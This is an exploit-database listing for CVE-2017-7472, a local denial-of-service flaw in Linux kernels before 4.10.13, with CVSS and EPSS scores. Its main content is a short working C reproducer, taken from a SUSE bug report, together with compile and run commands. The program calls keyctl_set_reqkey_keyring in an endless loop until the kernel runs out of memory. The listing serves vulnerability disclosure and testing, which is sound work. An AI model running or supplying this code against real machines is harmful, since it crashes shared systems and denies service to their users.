Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service

2017-06-0700:00:00

Marcus Meissner

www.exploit-db.com

5.5 Medium

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

6.6 Medium

AI Score

Confidence

High

4.9 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:N/I:N/A:C

0.0004 Low

EPSS

Percentile

0.4%

JSON

/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:

gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472

(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>

int main()
{
	for (;;)
		keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}